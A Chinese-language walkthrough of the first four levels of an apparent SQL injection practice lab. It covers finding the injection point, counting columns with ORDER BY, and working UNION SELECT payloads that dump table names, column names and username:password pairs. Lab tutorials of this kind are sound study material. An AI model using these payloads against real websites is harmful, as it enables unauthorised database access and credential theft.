第一关:
这里的输入了 ?id=1
意思是以GET方式传入id=1的参数
就等于SELECT * FROM users WHERE id=1 LIMIT 0,1
注意:--+ 与-- 空格的区别 在url中输入了--+以后,后端数据会变成--空格。在 url中输入 -- 空格 变成 -- +
在mysql中,#,--空格代表注释
寻找注入点:
可以从‘,” ,'),")入手
经过测试发现第一关的注入点是’
获取数据库字段名行数:可以根据order by
order by n 就意味着对第n列进行排序
先猜字段名为4
这个适合就可以继续缩小范围,猜3
发现正常显示,所以得出,列名为3
获取数据库名:
这里使用联合查询注入,因为它会显示查询的内容
?id=-1' union select 1,user(),database()--+
查询表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +
group_concat()
是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,将返回第一行的内容:
查询列名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +
加上库名的话,更详细
查询字段:
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +
这里的0x3a是:的作用。帮助我们区分
第二关:
从报错信息上可以发现它可能是数字型注入
其他操作跟上面一样
第三关:
一样,先来判断是什么注入方式
先来单引号
从报错信息上可以发现可能是")和’)注入
但是测试发现“)后面的内容被过滤掉了,所以这是基于‘)的注入点
然后其他操作就跟上面一样了
第四关:
这次发现单引号不管用了
没事,试试双引号
Ok,发现需要有个括号,可能是’) 或者'')
不过根据上面输入单引号后没反应来看,多半是“)
先’)进行测试
可以看见数据库对‘)后面的内容进行了过滤,这肯定就不是注入点了
然后是”)
查询字段的操作跟上面一样